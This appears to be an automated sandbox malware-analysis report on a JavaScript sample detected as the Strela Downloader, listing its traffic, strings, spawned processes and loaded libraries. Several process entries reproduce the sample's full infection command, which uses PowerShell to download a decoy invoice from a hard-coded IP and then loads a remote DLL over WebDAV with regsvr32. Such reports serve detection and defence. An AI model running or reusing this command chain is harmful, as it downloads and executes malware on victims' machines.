HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1829824752.000001C9456B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1937686103.000001D3A8F7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1930037179.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1928064790.000001D3A8F79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937627520.000001D3A8F28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937686103.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000003.1930037179.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937686103.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a7
Source: net.exe, 00000008.00000003.1930037179.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1937686103.000001D3A8F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/e7
Source: net.exe, 00000008.00000003.1930037179.000001D3A8F4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000008.00000002.1937627520.000001D3A8F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 0000000A.00000002.3108022977.000001B8256C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 0000000A.00000002.3107910496.000001B825600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000A.00000003.1933192411.000001B825508000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000A.00000003.1933192411.000001B825508000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000A.00000003.1933192411.000001B825508000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000A.00000003.1933192411.000001B82553D000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 0000000A.00000003.1933192411.000001B8255B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000A.00000003.1933192411.000001B8255B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 0000000A.00000003.1933192411.000001B8255B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6356, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2986414422293398212.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6540

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5788:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_krhhskwv.mqg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1668,i,2120020027183295763,11696217655528420210,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1668,i,2120020027183295763,11696217655528420210,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
